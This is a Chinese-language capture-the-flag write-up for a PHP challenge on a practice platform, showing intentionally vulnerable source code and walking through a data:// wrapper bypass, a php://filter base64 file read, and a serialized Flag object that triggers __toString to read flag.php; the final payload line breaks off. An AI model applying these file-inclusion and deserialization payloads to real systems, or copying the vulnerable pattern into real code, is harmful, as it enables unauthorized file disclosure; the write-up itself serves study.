1.data伪协议写入文件 2.php://filter 读取文件 3.反序列化
<?php
$text = $_GET["text"];
$file = $_GET["file"];
$password = $_GET["password"];
if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")){
echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
if(preg_match("/flag/",$file)){
echo "Not now!";
exit();
}else{
include($file);
$password = unserialize($password);
echo $password;
}
}
else{
highlight_file(__FILE__);
}
?>
第一个绕过 file_get_contents() 把整个文件读取到字符串中,所以这里需要传入一个文件,可以利用php://input伪协议在以POST形式传入“ welcome to the zjctf " 也可以用data伪协议传参
http://48fbc710-a16d-4601-95dd-64483d286fbb.node4.buuoj.cn:81/?text=data:text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=
第二个绕过
正则过滤了flag关键字,因此无法直接读取flag,我们可以看到提示useless.php我们可以先读取useless.php php://filter/read=convert.base64-encode/resource=useless.php
<?php
class Flag{
public $file;
public function __tostring(){
if(isset($this->file)){
echo file_get_contents($this->file);
echo "<br>";
return ("U R SO CLOSE !///COME ON PLZ");
}
}
}
?>
第三个绕过
反序列化,file传入的是useless 通过useless.php里new 一个Flag对象 来调用__toString() 是魔术方法的一种,具体用途是当一个对象被当作字符串对待的时候,会触发这个魔术方法
根据源代码获取序列化结果
class Flag{
public $file="flag.php";
public function __tostring(){
if(isset($this->file)){
echo file_get_contents($this->file);
echo "<br>";
return ("U R SO CLOSE !///COME ON PLZ");
}
}
}
$a=new Flag();
echo serialize($a);
?>
O:4:“Flag”:1:{s:4:“file”;s:8:“flag.php”;}
payload:http:
flag 在源代码中
|